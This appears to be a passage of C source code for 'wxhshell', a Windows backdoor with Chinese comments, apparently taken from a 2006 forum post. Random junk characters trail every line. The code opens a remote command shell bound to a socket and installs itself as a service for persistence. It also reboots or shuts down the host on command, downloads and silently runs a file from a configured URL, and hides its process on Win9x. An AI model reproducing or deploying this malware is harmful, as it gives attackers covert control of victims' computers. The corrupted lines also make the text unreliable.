      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5l(;+#3y/  
    break; OtQKDpJq  
  } UK& E#i  
  // 安装 /!AdX0dx  
  case 'i': { gfr``z=>O  
    if(Install()) 7zQD.+&L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJg)c;u/2;  
    else Z$WT ~V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XTZWbhNF  
    break; *j <;;z-  
    } Pfd FB  
  // 卸载 *q8W;Wa L  
  case 'r': { +[~\\X  
    if(Uninstall()) 8^< -;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uc7Y8iO  
    else 6;(Slkv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \DGm[/P  
    break; vv%Di.V  
    } deu+ i  
  // 显示 wxhshell 所在路径 =4Ex' %%(U  
  case 'p': { @uH7GW}$g  
    char svExeFile[MAX_PATH]; Y`( I};MO  
    strcpy(svExeFile,"\n\r"); dHOz;4_  
      strcat(svExeFile,ExeFile); Ii[rM/sG  
        send(wsh,svExeFile,strlen(svExeFile),0); MgtyO3GUAD  
    break; &V$'{  
    } R9=,T0Y p  
  // 重启 jv_sRV  
  case 'b': { xR1g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 09x\i/nb  
    if(Boot(REBOOT)) 5l)p5Bb48c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ih~c(&n0  
    else { -F5U.6~`!  
    closesocket(wsh);  ) mv}u~  
    ExitThread(0); lbv, jS  
    } k?xtZ,n{s  
    break; Bpk%,*$*)  
    } 8q tNK> D  
  // 关机 "Ny_RF  
  case 'd': { a`|/*{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1 !\pwd@{  
    if(Boot(SHUTDOWN)) UdLC]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.oaDGy  
    else { E,C<ox4e  
    closesocket(wsh); 7Uj[0Awn  
    ExitThread(0); jj$'DZk  
    } x$s#';*  
    break; %LVk%kz  
    } v3]q2*`G#  
  // 获取shell E176O[(V=  
  case 's': { d3n TJX  
    CmdShell(wsh); gNZ^TeT  
    closesocket(wsh); 1p8E!c{}j  
    ExitThread(0); %FF  S&vd  
    break; 5#2vSq!H  
  } 1/#N{rZ  
  // 退出 eY&UFe  
  case 'x': { ~:+g+Mf~[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E+7S:B  
    CloseIt(wsh); /H3,v8J@  
    break; 9qqEr~  
    } jpBE| Nm  
  // 离开 4|:{apH  
  case 'q': { 8-SVgo(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9)4N2=  
    closesocket(wsh); ;'<K}h  
    WSACleanup(); #lct"8  
    exit(1); SH`"o  
    break; <&+l;z  
        } Y[x ^59  
  } crhck'?0  
  } Zn9w1ev  
I1}{7-_t  
  // 提示信息 %@BQv 4oJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]AHi$Xx  
} Tzk8y 7$[  
  } X2Lhb{ZHE  
}]n&"=Zk-  
  return; {{<o1{_H  
} !P:hf/l[B  
<MfB;M  
// shell模块句柄 z5{I3 Y!1  
int CmdShell(SOCKET sock) slPFDBx  
{ Pq_Il9  
STARTUPINFO si; 4Y)3<=kDG  
ZeroMemory(&si,sizeof(si)); k| jC c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :+R ||q i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :*oI"U*f  
PROCESS_INFORMATION ProcessInfo; A: @=?(lI3  
char cmdline[]="cmd"; >?$Ze@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @u$oqjK  
  return 0; <B`=oO%o  
} n%?g+@y,^  
O~t5qnu/}  
// 自身启动模式 0{B5C[PTG  
int StartFromService(void) L50`,,WF  
{ [tBIABr  
typedef struct y'zEaL&SI@  
{ atN`w=6A`  
  DWORD ExitStatus; Nq9(O#}  
  DWORD PebBaseAddress; N[42al  
  DWORD AffinityMask; -}N{'S,Bp  
  DWORD BasePriority; HV?awc  
  ULONG UniqueProcessId; 1DLQ Zq  
  ULONG InheritedFromUniqueProcessId; H$[--_dI{  
}   PROCESS_BASIC_INFORMATION; WrD20Q$9Q  
{)%B?75~  
PROCNTQSIP NtQueryInformationProcess; c9'#G>&h~^  
/Fv1Z=:r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zBoU;d%p>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3~ZtAgih%  
:X$&g sT/,  
  HANDLE             hProcess; 4XKg3l1  
  PROCESS_BASIC_INFORMATION pbi; <~Y4JMr"  
YobIbpo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5jsnE )  
  if(NULL == hInst ) return 0; Gu%`__   
=ecv;uu2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _zpn+XVdQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IC{>q3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I|`K;a  
[6-l6W  
  if (!NtQueryInformationProcess) return 0; AX1\L |tJS  
fI BLJ53  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cJhf{{_oR  
  if(!hProcess) return 0; lv\2vRYw-  
!IGVN:E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RL&*.r&  
KlrKGmy,)  
  CloseHandle(hProcess); N.&K"J  
w1GCjD*y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qrdA?V V  
if(hProcess==NULL) return 0; o?%x!m>  
xpS#l"dr  
HMODULE hMod; n&Al~-Q:^  
char procName[255]; MT V'!Zxs  
unsigned long cbNeeded; /`'50C j  
fO:*85 %}7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zY#U]Is  
^QnVYTM  
  CloseHandle(hProcess); +0=RC^   
*PMql$  
if(strstr(procName,"services")) return 1; // 以服务启动 `b] NB^/  
oF*Y$OEu?c  
  return 0; // 注册表启动 fqr}tvMr=T  
} cw^FOV*  
0<s)xaN>Y  
// 主模块 [t6)M~&e:_  
int StartWxhshell(LPSTR lpCmdLine) wo_FM `@  
{ a;h:o>Do5  
  SOCKET wsl; f9&D1Gh+w  
BOOL val=TRUE; ^Krkf4fO  
  int port=0; pa\]@;P1  
  struct sockaddr_in door; _WSJg1  
bqe;) A7  
  if(wscfg.ws_autoins) Install(); lLg23k{'  
yV]-![`D  
port=atoi(lpCmdLine); 2.NzB7c*CM  
r@!~l1$s`  
if(port<=0) port=wscfg.ws_port; a v`eA`)S  
*3k~%RM%?  
  WSADATA data; 4,aBNuxWd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PuOo^pFhH  
#h&?wE>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S9L3/P]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LEhi/>T  
  door.sin_family = AF_INET; (Q'XjN\#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;wN.RPE_^  
  door.sin_port = htons(port); R]r~TJ o  
}U(^QB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]>AW  
closesocket(wsl); r`&ofk1K  
return 1; "7aFVf  
} 9u)h$VC  
Og&2,`Jb  
  if(listen(wsl,2) == INVALID_SOCKET) { OIoAqt  
closesocket(wsl); /qp`xJ  
return 1; $rlIJwqn  
} X;0EgIqh3  
  Wxhshell(wsl); Tru`1/ 7I  
  WSACleanup(); !BY=HFT  
AX&1-U  
return 0; Z@h]dU5%a  
My[L3KTTp  
} ,sc>~B@Q  
$6J5yE  
// 以NT服务方式启动 *i\7dJ Dj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dB/Ep c&   
{ =uvv|@Z  
DWORD   status = 0; D!-zQ`^  
  DWORD   specificError = 0xfffffff; Cr[#D$::`  
yrIT4y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fq{nc]L6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~{N|("nB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lE`ScYG  
  serviceStatus.dwWin32ExitCode     = 0; &,#VhT![  
  serviceStatus.dwServiceSpecificExitCode = 0; P "%/  
  serviceStatus.dwCheckPoint       = 0; [oYe/<3  
  serviceStatus.dwWaitHint       = 0; 3O]e  
6znm?s@~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bc 0|tJc  
  if (hServiceStatusHandle==0) return; P@Qo2zTh%  
F-ZD6l9O  
status = GetLastError(); O ,DX%wk,  
  if (status!=NO_ERROR) mtF&Z\ag  
{ z1"UF4x*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8C YJR/  
    serviceStatus.dwCheckPoint       = 0; 4o|~KX8Qz  
    serviceStatus.dwWaitHint       = 0; $4L=Dg  
    serviceStatus.dwWin32ExitCode     = status; Q;Oc# u  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8ZahpB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&g} !Smc8  
    return; YV2^eGr.  
  } 3NJ-.c@(p  
``O\'{o&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3 $RII -}>  
  serviceStatus.dwCheckPoint       = 0; 5= F-^  
  serviceStatus.dwWaitHint       = 0; ~L1N1Z)Kk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p@^2 .O+  
} Y /w vn8~C  
jRBx7|ON  
// 处理NT服务事件,比如:启动、停止 (* 2"dd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x~(Ul\EX  
{ 8m 9G^s`[  
switch(fdwControl) IMrB!bo r  
{ 'fgDe  
case SERVICE_CONTROL_STOP: ]f-e/8$`@  
  serviceStatus.dwWin32ExitCode = 0; } K Ou  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WTd}) s  
  serviceStatus.dwCheckPoint   = 0; `|v#x@s  
  serviceStatus.dwWaitHint     = 0; &"CS1P|  
  { ck^Z,AKL+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Z'zB&hM}  
  } p;'vOb  
  return; nU`;MW/^w  
case SERVICE_CONTROL_PAUSE: 8G@FX $$Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Jma^ S  
  break; k'\RS6M`L  
case SERVICE_CONTROL_CONTINUE: !YoKKG~_0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3b_#xr-  
  break; ]>:>":<:  
case SERVICE_CONTROL_INTERROGATE: LZ@^ A]U  
  break; }^iE|YKz  
}; B 51LZP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & v`kyc  
} v(0vP}[Q7E  
pLIBNo?  
// 标准应用程序主函数 eygyVhJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ES+&e/G"ds  
{ Pgo5&SQb  
PJ_|=bn  
// 获取操作系统版本 Vs"M Cqi  
OsIsNt=GetOsVer(); a:8@:d1T K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6s uc0  
jG/kT5S  
  // 从命令行安装 InDR\=o  
  if(strpbrk(lpCmdLine,"iI")) Install(); N7e^XUG   
?K]k(ZV_+Y  
  // 下载执行文件 PK~okz4b  
if(wscfg.ws_downexe) { \jfW$TtZm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6v1j*'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nn^el' S'  
} q8p 'bibY  
FqiK}K.~/  
if(!OsIsNt) { jVA xa|S  
// 如果时win9x,隐藏进程并且设置为注册表启动  Ne4A  
HideProc(); ^.4<#Qs  
StartWxhshell(lpCmdLine); NfSe(rd  
} NT nn!k  
else ZqhINM*Rm  
  if(StartFromService()) ="4jk=on  
  // 以服务方式启动 hIw*dob  
  StartServiceCtrlDispatcher(DispatchTable); 4bKZ@r%  
else VP"L _Um  
  // 普通方式启动 :4A^~+J  
  StartWxhshell(lpCmdLine); {Cd*y6lI  
x^ Wgo`v)  
return 0; $L&*0$[]Q  
}
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只看该作者 1 发表于: 2006-10-10
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